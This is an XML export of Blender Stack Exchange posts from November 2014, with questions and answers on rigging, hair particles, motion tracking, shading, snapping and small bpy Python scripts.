  <row Id="19121" PostTypeId="1" AcceptedAnswerId="19158" CreationDate="2014-11-22T18:30:54.637" Score="8" ViewCount="2499" Body="&lt;p&gt;Is it possible to make collapsible panel like it is for object modifiers? I need something similar for my plugin. After choose menu item I want to create new panel with collapsible box, where can I change parameters for objects.&#xA;&lt;a href=&quot;http://www.23hq.com/pkulas/photo/18279220/original&quot; rel=&quot;noreferrer&quot;&gt;screenshoot http://www.23hq.com/pkulas/photo/18279220/original&lt;/a&gt; &#xA;I tried before to make panel with &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_72_1/bpy.types.UILayout.html?highlight=template_list#bpy.types.UILayout.template_list&quot; rel=&quot;noreferrer&quot;&gt;bpy.types.UILayout.template_list&lt;/a&gt; but it was too hard to build from scratch for me. Documentation isn't very friendly, hard to know what can I use for these arguments (active_dataptr, active_propname)&#xA;Next months I'm working on my plugin, before that I need to make good UI for it.&lt;/p&gt;&#xA;" OwnerUserId="8141" LastActivityDate="2020-07-07T15:26:10.780" Title="How to create collapsible panel" Tags="&lt;python&gt;&lt;scripting&gt;&lt;interface&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19122" PostTypeId="1" CreationDate="2014-11-22T19:37:23.680" Score="1" ViewCount="133" Body="&lt;p&gt;Using a downloaded mesh I have watched tutorials and made notes on rigging and have got some of it working. The foot is not working properly and I'm getting confused trying to mend it. Is it possible to upload the blend file and get someone to point me in the right direction? I have actually uploaded a file called myman using pasteall.org but I've no idea where it is!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I think the file may be at &lt;a href=&quot;http://pasteall.org/blend/33002&quot; rel=&quot;nofollow&quot;&gt;http://pasteall.org/blend/33002&lt;/a&gt;. Checked, it is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT2: When I move the heel IK bone the leg and foot move OK. Except that a part of the foot extrudes itself towards the world origin! Also if I move the heel too far the foot comes away from the leg! I seem to have got the hand right and I can't find a way to compare my good bone configurations with my bad ones. &lt;/p&gt;&#xA;" OwnerUserId="8143" LastEditorUserId="8143" LastEditDate="2014-11-22T20:22:35.640" LastActivityDate="2014-11-22T20:22:35.640" Title="IK bone and foot distortion" Tags="&lt;mesh&gt;&lt;bones&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19123" PostTypeId="1" AcceptedAnswerId="19144" CreationDate="2014-11-22T20:10:13.060" Score="2" ViewCount="20913" Body="&lt;p&gt;I'm trying to animate a character that I have created with blender 2.71, but something doesn't work well. As you can see from the screenshot, I have created the bones, I pressed &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;P&lt;/kbd&gt; and then I have chosen the option '&lt;strong&gt;With Automatic Weights&lt;/strong&gt;'. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TlBs9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I right click on a bone and I try to move it, the meshes of the character don't move; Only the bones do it. What am I doing wrong? &lt;/p&gt;&#xA;" OwnerUserId="6185" LastEditorUserId="241" LastEditDate="2014-11-23T14:25:45.467" LastActivityDate="2020-03-29T05:56:02.003" Title="Why does my mesh not move with the bones parented to it?" Tags="&lt;animation&gt;&lt;bones&gt;" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19124" PostTypeId="1" AcceptedAnswerId="19129" CreationDate="2014-11-22T20:50:39.287" Score="6" ViewCount="3187" Body="&lt;p&gt;How could I take out the space in-between the hair strands on a large braid?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lnvyw.png&quot; alt=&quot;Example&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to remove those &quot;holes&quot; and make hair children better distributed. I tried reducing the amplitude, but it gets too skinny. As you can see on the settings it's 1 parent with 10k children particles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hZvBJ.png&quot; alt=&quot;Settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm pretty sure I can make adding a &lt;strong&gt;custom property&lt;/strong&gt;, but I don't know which one to choose.&lt;/p&gt;&#xA;" OwnerUserId="7475" LastActivityDate="2017-10-20T19:56:50.627" Title="Large Braids with Hair Particles" Tags="&lt;particles&gt;&lt;properties&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19125" PostTypeId="1" CreationDate="2014-11-22T21:44:59.727" Score="1" ViewCount="69" Body="&lt;p&gt;The textures I so carefully prepared for various objects shift in position when I link them into a host file. This is for a large architectural project consisting of many modular housing units that are all fairly similar. Textures map beautifully within the blend files but, when I link them into the large ground plane file, they loose all sense of sobriety and appear randomly strewn all over the place!&lt;/p&gt;&#xA;" OwnerUserId="8146" LastEditorUserId="29" LastEditDate="2014-11-23T09:06:48.470" LastActivityDate="2014-11-23T09:06:48.470" Title="Texture Mapping Issues with Linked Objects" Tags="&lt;texturing&gt;&lt;objects&gt;&lt;linked-data&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19126" PostTypeId="1" AcceptedAnswerId="19148" CreationDate="2014-11-22T22:09:24.070" Score="1" ViewCount="1948" Body="&lt;p&gt;I took a quick video on my iPhone 4, and tracked it in Blender. It appears to have tracked quite well. Note that I have some tracks in the foreground and some in the background:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ribJJ.png&quot; alt=&quot;Example of tracks in movie clip viewer&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, after solving, Blender seems to think that all the tracks are basically planar, at a roughly fixed distance from the camera:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qmSBN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used the tripod solve mode, because the camera isn't moving (just panning/rolling) in the shot, as suggested &lt;a href=&quot;https://blender.stackexchange.com/a/8969/372&quot;&gt;here&lt;/a&gt;. Is this correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did select the &quot;iPhone 4&quot; preset, but I didn't change any of the other settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I do to get the scene to be tracked correctly?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Video file: &lt;a href=&quot;https://www.dropbox.com/s/k1aoga1bdu8f1cu/2014-11-22%2008.55.58.mov?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;Dropbox link&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Blend file (not packed; video not included): &lt;a href=&quot;http://www.pasteall.org/blend/33009&quot; rel=&quot;nofollow noreferrer&quot;&gt;PasteAll link&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="372" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2014-11-23T12:00:10.510" Title="Motion tracking is oriented incorrectly; no depth" Tags="&lt;tracking&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19127" PostTypeId="1" CreationDate="2014-11-22T22:32:25.147" Score="0" ViewCount="1441" Body="&lt;p&gt;I have Blender 2.72b on Windows 8.1 Pro and whenever I get to the video editing and import a video, I get this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/J7Eba.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I fix this problem?&lt;/p&gt;&#xA;" OwnerUserId="5217" LastActivityDate="2017-08-29T23:05:26.710" Title="Video editing displays white screen" Tags="&lt;video&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19129" PostTypeId="2" ParentId="19124" CreationDate="2014-11-22T22:36:39.837" Score="9" Body="&lt;p&gt;Well, I had play with the &lt;strong&gt;Children&lt;/strong&gt; settings till actually got some reasonable result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aK7Xp.png&quot; alt=&quot;Large Braid&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my recipe for a nicer looking braid:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;As you can see, mainly &lt;strong&gt;Random&lt;/strong&gt; and &lt;strong&gt;Size&lt;/strong&gt; properties made the strands get thicker, but it can also mess around with the shape at the end. So I suggest trim it with &lt;strong&gt;Length&lt;/strong&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use a high value for &lt;strong&gt;Clump&lt;/strong&gt; on &lt;strong&gt;Effects Section&lt;/strong&gt; and a low &lt;strong&gt;Clump&lt;/strong&gt; on &lt;strong&gt;Kink Section&lt;/strong&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you get a fading effect like I was having on my question, try to change the &lt;strong&gt;Shape&lt;/strong&gt; value to something like &lt;strong&gt;-0.9&lt;/strong&gt; on &lt;strong&gt;Cycles Hair Settings.&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vzScJ.png&quot; alt=&quot;Settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suggestions are very welcome.&lt;/p&gt;&#xA;" OwnerUserId="7475" LastActivityDate="2014-11-22T22:36:39.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19130" PostTypeId="1" AcceptedAnswerId="19135" CreationDate="2014-11-22T22:58:30.720" Score="3" ViewCount="594" Body="&lt;p&gt;I have a series of frames, which contain user-entered meta data. After a render I have to retrieve the user entered values. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The path shown is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.types.OBJECT_OT_paperdoll_operator.title_frame_1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Yet I get an error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; print(bpy.types.OBJECT_OT_paperdoll_operator.title_frame_1)&#xA;Traceback (most recent call last):&#xA;  File &quot;&amp;lt;blender_console&amp;gt;&quot;, line 1, in &amp;lt;module&amp;gt;&#xA;AttributeError: type object 'PaperDoll' has no attribute 'title_frame_1'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this case, it should return the string &lt;code&gt;&quot;This is Frame 1 meta&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So obviously I am missing something. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/amPMl.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5266" LastEditorUserId="1363" LastEditDate="2014-11-23T02:33:41.777" LastActivityDate="2014-11-23T02:33:41.777" Title="Get the value in a GUI field? (Redo panel)" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19131" PostTypeId="1" AcceptedAnswerId="38616" CreationDate="2014-11-22T23:18:42.530" Score="9" ViewCount="44513" Body="&lt;p&gt;When I select multiple faces in edit mode and use &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;F&lt;/kbd&gt; &gt; &lt;em&gt;Shade Smooth&lt;/em&gt; it smoothes the normals with all surrounding faces, regardless of whether they are smooth shaded or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using a cylinder for an example, if I want to smooth shade only the lateral faces:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/tK1r2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It smoothes the normals not only with each other but with the cap as well which creates this hideous result:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/PmIEc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like it to look like this:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/rvv1g.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This makes this tool fairly useless since if I wanted everything smooth shaded I would just turn it on for the whole model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last example was created using the edge split modifier.  Most of the time edge split works fine, but since it actually rips the edges it doesn't play nicely with other modifiers like bevel or subsurf.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So is there any way to smooth shade faces &lt;em&gt;only&lt;/em&gt; with other smooth shaded faces &lt;em&gt;without using the edge split modifier&lt;/em&gt;?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="5705" LastEditDate="2015-09-15T21:13:03.137" LastActivityDate="2018-12-14T12:37:48.453" Title="How to properly use face smooth shading" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;normals&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19132" PostTypeId="1" CreationDate="2014-11-23T00:10:54.590" Score="1" ViewCount="227" Body="&lt;p&gt;I have problem rendering my textures. I am doing tutorial on tunnels.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/UeGK8.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the first image the tunnel has a nice round shape, but textures on the upper half are getting messy. I tried to fix it and change shading of the wall to smooth.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/JVemE.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That changed the image a little bit, and cleaned up the texture issues. However the tunnel seems to have lost its round shape at the same height as the texture issue was located, and gets messed up behind the pipes on the left.&lt;/p&gt;&#xA;" OwnerUserId="8139" LastEditorUserId="6204" LastEditDate="2014-11-23T02:24:21.880" LastActivityDate="2014-11-23T02:24:21.880" Title="Problem applying textures" Tags="&lt;texturing&gt;&lt;materials&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19133" PostTypeId="2" ParentId="18972" CreationDate="2014-11-23T00:19:47.780" Score="0" Body="&lt;p&gt;I've managed to script myself a solution:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import random&#xA;import math&#xA;from mathutils import Color, Vector&#xA;&#xA;bl_info = {&#xA;  &quot;name&quot;: &quot;Vertex Color Normalizer&quot;,&#xA;  &quot;description&quot;: &quot;Allows the vertex colors of a mesh to be normalized (useful if colors control texture splatting).&quot;,&#xA;  &quot;author&quot;: &quot;Markus Ewald&quot;,&#xA;  &quot;version&quot;: (1, 0),&#xA;  &quot;blender&quot;: (2, 65, 0),&#xA;  &quot;location&quot;: &quot;View3D &amp;gt; Add &amp;gt; Mesh&quot;,&#xA;  &quot;warning&quot;: &quot;&quot;, # used for warning icon and text in addons panel&#xA;  &quot;wiki_url&quot;: &quot;http://wiki.blender.org/index.php/Extensions:2.5/Py/&quot;&#xA;              &quot;Scripts/VertexColorNormalizer&quot;,&#xA;  &quot;category&quot;: &quot;Paint&quot;&#xA;}&#xA;&#xA;class VertexColorNormalizer(bpy.types.Operator):&#xA;    bl_idname = &quot;object.normalize_vertex_colors&quot;&#xA;    bl_label = &quot;Normalize Vertex Colors&quot;&#xA;    bl_description = &quot;Normalize vertex colors to enable additive texture splatting&quot;&#xA;&#xA;    def execute(self, context):&#xA;&#xA;        # What I want to do:&#xA;        # - Iterate over the colors of all the vertices in active mesh&#xA;        # - Normalize each color (divide by sqrt(r *r + g * g + b * b))&#xA;        # - Assign it back to the vertex&#xA;&#xA;        for i in context.active_object.data.vertex_colors[0].data:   &#xA;            r = i.color[0]&#xA;            g = i.color[1]&#xA;            b = i.color[2]&#xA;&#xA;            magnitude = math.sqrt(r * r + g * g + b * b)&#xA;            if magnitude &amp;gt; 1:&#xA;                normalized_color = (r / magnitude, g / magnitude, b / magnitude)&#xA;                i.color = Color((normalized_color))&#xA;&#xA;        return {'FINISHED'}&#xA;&#xA;def register():   &#xA;    bpy.utils.register_class(VertexColorNormalizer)   &#xA;&#xA;if __name__ == &quot;__main__&quot;:   &#xA;    register()  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Save as &lt;code&gt;C:\Users\&amp;lt;Login&amp;gt;\AppData\Roaming\Blender Foundation\Blender\2.72\scripts\addons\NormalizeVertexColors.py&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Start Blender, activate Preferences, Addons, Paint, &quot;Vertex Color Normalizer&quot;&lt;/li&gt;&#xA;&lt;li&gt;Select target mesh, spacebar, type 'normalize' and pick the &quot;Normalize Vertex Colors&quot; entry&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;My knowledge of Python or the Blender object model are too limited to let this happen automatically when painting vertices, but it's better than nothing, I guess :)&lt;/p&gt;&#xA;" OwnerUserId="1461" LastActivityDate="2014-11-23T00:19:47.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19134" PostTypeId="1" CreationDate="2014-11-23T02:08:45.547" Score="0" ViewCount="188" Body="&lt;p&gt;One of my first models from several months ago, when I began with Blender, doesn't work with a mirror modifier properly. While tabbing between Edit and Object modes, the object origin remains in place, while the mesh location is different on the x-axis by a half a blender unit. In &lt;em&gt;Edit Mode&lt;/em&gt; the mesh favors the right as in +5, while in &lt;em&gt;Object Mode&lt;/em&gt; it is -1! I did try clearing scale, rotation and location. Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the blend file: &lt;a href=&quot;http://www.pasteall.org/blend/33015&quot; rel=&quot;nofollow&quot;&gt;http://www.pasteall.org/blend/33015&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3313" LastEditorUserId="241" LastEditDate="2014-11-24T12:53:31.917" LastActivityDate="2014-11-24T20:01:45.197" Title="Model doesn't mirror correctly" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;modifiers&gt;&lt;armature&gt;" AnswerCount="0" CommentCount="6" ClosedDate="2014-11-25T11:44:23.930" ContentLicense="CC BY-SA 3.0" />
  <row Id="19135" PostTypeId="2" ParentId="19130" CreationDate="2014-11-23T02:32:06.863" Score="4" Body="&lt;p&gt;What you access via bpy.types is just the type / class, what you are after are the properties of an instance of that class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be best to store the user data in global properties, but if you really want to access the active operator's properties (that's what is shown in the redo panel), use &lt;code&gt;bpy.context.active_operator&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; C.active_operator&#xA;&amp;lt;bpy_struct, Operator(&quot;TRANSFORM_OT_translate&quot;)&amp;gt;&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; C.active_operator.properties['value']&#xA;&amp;lt;bpy id property array [3]&amp;gt;&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; C.active_operator.properties['value'][:]&#xA;(0.17133378982543945, -1.7650548219680786, -1.7467097043991089)&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; C.active_operator.value&#xA;Vector((0.17133378982543945, -1.7650548219680786, -1.7467097043991089))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that Macro properties need to be accessed in the following way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; C.active_operator.properties.keys()&#xA;['OBJECT_OT_duplicate', 'TRANSFORM_OT_translate']&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; C.active_operator.OBJECT_OT_duplicate.linked&#xA;False&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-11-23T02:32:06.863" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19136" PostTypeId="1" CreationDate="2014-11-23T03:01:15.130" Score="0" ViewCount="23" Body="&lt;p&gt;I'm trying to make a render of a minecraft charterer. This would be simple enough, but I am a total noob with blender. I texture mapped it just fine, but it comes out blurry and the alpha chanel (that shows up perfectly while editing) is pure white. I need it to look like does in editer when I render it. I am at a total loss, I don't know how to fix this. I really need some help&lt;img src=&quot;https://i.stack.imgur.com/wBMO4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;picture on the right is the texture, the picture on the middle is how it looks in the editer, and the picture in the middle is how it looks when rendered. &lt;/p&gt;&#xA;" OwnerUserId="8150" LastActivityDate="2014-11-23T03:01:15.130" Title="Why is the texturing on my model rendering blurry and without the alpha chanel?" Tags="&lt;materials&gt;&lt;transparency&gt;&lt;blur&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2014-11-23T14:50:15.530" ContentLicense="CC BY-SA 3.0" />
  <row Id="19137" PostTypeId="1" CreationDate="2014-11-23T03:37:20.093" Score="0" ViewCount="783" Body="&lt;p&gt;When animating something like a robot or a vehicle that has clear mechanical hinges or wheels, should one use typical rigging and bone animation methods, or just make the animated regions separate objects to manipulate over multiple keyframes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I'm making a fictionalized/lower-poly space shuttle in Blender. The wing flaps, rudder, and wheels will be animated. I have made all the parts that I want to animate (like the landing gear and the wing flaps) as separate objects from the main body. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I keep these as separate objects and simply rotate them over the desired keyframes? Or should I attach them to the main object, add rigging (with 100% weight to the animated parts and 0% to the main body) and animate the bones over the desired keyframes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Same thing for robots. Should a (low poly) Iron Giant type robot be animated by manipulating separate objects, or by traditional rigging? What about a simpler wheeled robot?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My goal is to import it into Unity, if that changes anything.&lt;/p&gt;&#xA;" OwnerUserId="8151" LastEditorUserId="8151" LastEditDate="2014-11-23T04:10:02.857" LastActivityDate="2014-11-23T04:10:02.857" Title="Animating robots and vehicles--What are the pros and cons of adding rigging and bones, vs. using separate objects and manipulating those?" Tags="&lt;modeling&gt;&lt;animation&gt;&lt;objects&gt;&lt;rigging&gt;&lt;bones&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19138" PostTypeId="1" AcceptedAnswerId="19139" CreationDate="2014-11-23T03:48:29.163" Score="2" ViewCount="887" Body="&lt;p&gt;Can you snap lines to a grid for precise drawing, for example in autocad you can put snap to grid on and the polyline will snap to intersections on the grid for precise drawing. If blender can do this can I please have an explanation on how. I'm new to the blender community so please help. Thank you.&lt;/p&gt;&#xA;" OwnerUserId="8152" LastActivityDate="2014-11-23T08:49:09.727" Title="How do you snap lines to a grid?" Tags="&lt;modeling&gt;&lt;editing&gt;&lt;snapping&gt;" AnswerCount="2" CommentCount="2" ClosedDate="2014-11-23T19:36:10.737" ContentLicense="CC BY-SA 3.0" />
  <row Id="19139" PostTypeId="2" ParentId="19138" CreationDate="2014-11-23T04:14:32.970" Score="1" Body="&lt;p&gt;Snapping can be activated using the little magnet icon.  Next to this is a menu for setting the snap type.  What you can't see in the image is that after I activated the tool, I pressed &lt;kbd&gt;g&lt;/kbd&gt; to move the object and then &lt;kbd&gt;x&lt;/kbd&gt; to constrain the movement to the x-axis. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Azc6m.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have the menu set to Increment as shown above, then you can also disable the magnet icon and hold down &lt;kbd&gt;Ctrl&lt;/kbd&gt; to use the snapping feature.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Conversely, if you do still have the magnet icon activated, holding &lt;kbd&gt;Ctrl&lt;/kbd&gt; will disable snapping so long as &lt;kbd&gt;Ctrl&lt;/kbd&gt; is held.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Holding &lt;kbd&gt;Shift&lt;/kbd&gt; will allow you to move the object in smaller increments.  This is true with or without snapping enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I feel I should mention that snapping can also snap the vertices of one object to  another object by changing the menu selection to Face.  Even though it's unrelated to what you mention, I wanted to point out that the tool has more functionality than just for what you asked here since it's also very useful for re-topology, aligning model components to one another, etc... &lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2014-11-23T04:23:12.247" LastActivityDate="2014-11-23T04:23:12.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19140" PostTypeId="1" CreationDate="2014-11-23T06:00:27.507" Score="5" ViewCount="1338" Body="&lt;p&gt;I was thinking of doing some scifi models, and it would involve a kind of gravity lens effect, where light is distorted and warped by a powerful gravity field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have attempted to create a gravitational lensing effect with a refraction shader, but the results don't look very good.  Refraction BSDF is a surface shader, and as a consequence the edges of the shader effect are plainly visible as shown in the render below, whereas I would want the edges to fade out more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/us3ph.jpg&quot; alt=&quot;Refraction Shader Render&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried a few things to accomplish the desired effect, such as using a mix shader node with either transparency or a refraction shader with an IOR of 1.  I've tried several variations to accomplish the desired effect, but they all either do nothing or just ruin the shader entirely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the cycles engine, and any solutions would be appreciated, especially if they don't require render layers or compositing.&lt;/p&gt;&#xA;" OwnerUserId="1897" LastActivityDate="2014-12-24T22:45:01.887" Title="Creating a gravity lens effect?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;nodes&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19141" PostTypeId="2" ParentId="19138" CreationDate="2014-11-23T08:49:09.727" Score="1" Body="&lt;p&gt;Besides the snapping tool already described by Marc. You could also move the edges with an manually entered distance e.g. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;G&lt;/kbd&gt; &lt;kbd&gt;X&lt;/kbd&gt; &lt;kbd&gt;1&lt;/kbd&gt;&lt;kbd&gt;.&lt;/kbd&gt;&lt;kbd&gt;5&lt;/kbd&gt; &lt;kbd&gt;- &lt;/kbd&gt;&lt;kbd&gt;Enter&lt;/kbd&gt;&#xA;Grab, Constrained axis, distance, confirm input&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For use with the snapping tool you could also modify the grid's settings lines and scale.&#xA;Note that that you can also enable the display of edge length and faces area:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Nu3KZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also be interested in the techniques here: &lt;a href=&quot;https://blender.stackexchange.com/questions/274/what-are-some-best-practices-when-modelling-with-exact-measurements&quot;&gt;How to model effectively using exact measurements?&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2014-11-23T08:49:09.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19142" PostTypeId="2" ParentId="19131" CreationDate="2014-11-23T09:04:52.560" Score="1" Body="&lt;p&gt;You could add an &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Edge_Split&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Edge Split&lt;/em&gt;&lt;/a&gt; modifier (left cylinder) then the normals of the top and bottom faces will not be used for interpolation. Alternatively you could increase the the number of vertices when the cylinder is added (right cylinder).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NMJ2U.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HIsSi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-11-23T09:04:52.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
